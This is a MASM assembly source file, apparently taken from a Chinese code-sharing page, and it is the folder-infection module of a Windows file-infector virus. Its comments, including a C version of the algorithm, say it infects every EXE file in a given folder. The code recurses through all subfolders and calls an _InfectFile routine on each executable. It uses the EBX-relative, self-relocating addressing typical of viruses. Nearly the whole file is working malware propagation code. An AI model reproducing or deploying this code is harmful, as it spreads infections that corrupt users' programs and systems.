📄 _infectfolder.inc
字号:
;###########################################################################
;# 感染指定文件夹内的所有 EXE 文件 #
;###########################################################################
;# 相比下的C算法 #
;###########################################################################
;# void _InfectFolder( char * lpszFolder ) { #
;# HANDLE hFind ; #
;# WIN32_FIND_DATA stFindData; #
;# BYTE pBuffer[MAX_PATH]; #
;# wsprintf( pBuffer , "%s\\*.exe" , lpszFolder ); #
;# hFind = FindFirstFile( pBuffer , &stFindData ); #
;# if( hFind != INVALID_HANDLE_VALUE ) { #
;# do { #
;# wsprintf( pBuffer , "%s\\%s" , lpszFolder , #
;# stFindData.cFileName ); #
;# /* 调用感染文件模块*/ #
;# _InfectFile( pBuffer ); #
;# } while( FindNextFile( hFind , &stFindData ) ); #
;# FindClose( hFind ); #
;# } #
;# #
;# wsprintf( pBuffer , "%s\\*.*" , lpszFolder ); #
;# hFind = FindFirstFile( pBuffer , &stFindData ); #
;# #
;# if( hFind != INVALID_HANDLE_VALUE ) { #
;# do { #
;# if( stFindData.dwFileAttributes & #
;# FILE_ATTRIBUTE_DIRECTORY #
;# != FILE_ATTRIBUTE_DIRECTORY ) #
;# continue; #
;# if( lstrcmpi( ".." , stFindData.cFileName ) == 0 || #
;# lstrcmpi( "." , stFindData.cFileName ) == 0 ) #
;# continue; #
;# wsprintf( pBuffer , "%s\\%s" , lpszFolder , #
;# stFindData.cFileName ); #
;# /* 深入感染子文件夹 */ #
;# _InfectFolder( pBuffer ); #
;# } while( FindNextFile( hFind , &stFindData ) ); #
;# FindClose( hFind ); #
;# } #
;# } #
;###########################################################################
_InfectFolder PROC _szFolder
LOCAL @hFind : HANDLE
LOCAL @stFindData : WIN32_FIND_DATA
LOCAL @pBuffer[MAX_PATH] : BYTE
PUSHAD
;########################################
;# 处理所有的EXE文件 #
;########################################
LEA EAX , @stFindData
PUSH EAX
LEA EDX , @pBuffer
PUSH EDX
;########################################
;# 生成要查找的文件格式 #
;# wsprintf( pBuffer , #
;# "%s\*.exe" , #
;# szFolder ); #
;# 由于此函数是C方式调用,所以调用 #
;# 后由调用者恢复堆栈 #
;########################################
LEA EAX , [EBX + G_szExeTail]
PUSH EAX ;%s ;2 ESP = ESP - 4
PUSH _szFolder; %s ;1 ESP = ESP - 4
LEA EAX , [EBX + G_szConstructFormat]
PUSH EAX ;szFmt ESP = ESP - 4
PUSH EDX ;pBuffer ESP = ESP - 4
CALL [EBX + G_pWSprintf]
ADD ESP , 10H
CALL [EBX + G_pFindFirstFile]
INC EAX
JZ @_File_End
DEC EAX
MOV @hFind , EAX
@_Deal_File:
LEA EDX , @pBuffer
PUSH EDX
LEA EAX , @stFindData.cFileName
PUSH EAX
PUSH _szFolder
LEA EAX , [EBX + G_szConstructFormat]
PUSH EAX
PUSH EDX
CALL [EBX + G_pWSprintf]
ADD ESP , 10H
LEA EAX , [EBX + _InfectFile]
CALL EAX
LEA EAX , @stFindData
PUSH EAX
PUSH @hFind
CALL [EBX + G_pFindNextFile]
OR EAX , EAX
JNE @_Deal_File
PUSH @hFind
CALL [EBX + G_pFindClose]
@_File_End:
;########################################
;# 处理所有的子文件夹 #
;########################################
;入栈 FindFirstFile 的参数
LEA EAX , @stFindData
PUSH EAX
LEA EDX , @pBuffer
PUSH EDX
;生成 FindFirstFile 中 lpFileName
LEA EAX , [EBX + G_szFolderTail]
PUSH EAX ;%s ;2 ESP = ESP - 4
PUSH _szFolder; %s ;1 ESP = ESP - 4
LEA EAX , [EBX + G_szConstructFormat]
PUSH EAX ;szFmt ESP = ESP - 4
PUSH EDX ;pBuffer ESP = ESP - 4
CALL [EBX + G_pWSprintf]
ADD ESP , 10H
CALL [EBX + G_pFindFirstFile]
INC EAX
JZ @_Folder_End
DEC EAX
MOV @hFind , EAX
@_DealFolder:
MOV EAX , @stFindData.dwFileAttributes
AND EAX , FILE_ATTRIBUTE_DIRECTORY
JZ @_Folder_Continue
LEA EAX , @stFindData.cFileName
CMP WORD PTR [EAX] , 02E2EH ;'..'
JE @_Folder_Continue
CMP BYTE PTR [EAX] , 02EH ;'.'
JE @_Folder_Continue
LEA EDX , @pBuffer
PUSH EDX
LEA EAX , @stFindData.cFileName
PUSH EAX
PUSH _szFolder
LEA EAX , [EBX + G_szConstructFormat]
PUSH EAX
PUSH EDX
CALL [EBX + G_pWSprintf]
ADD ESP , 10H
LEA EAX , [EBX + _InfectFolder]
CALL EAX
@_Folder_Continue:
LEA EAX , @stFindData
PUSH EAX
PUSH @hFind
CALL [EBX + G_pFindNextFile]
OR EAX , EAX
JNZ @_DealFolder
PUSH @hFind
CALL [EBX + G_pFindClose]
@_Folder_End:
POPAD
RET
_InfectFolder endp
;###########################################################################
;# 感染文件夹结束 #
;###########################################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -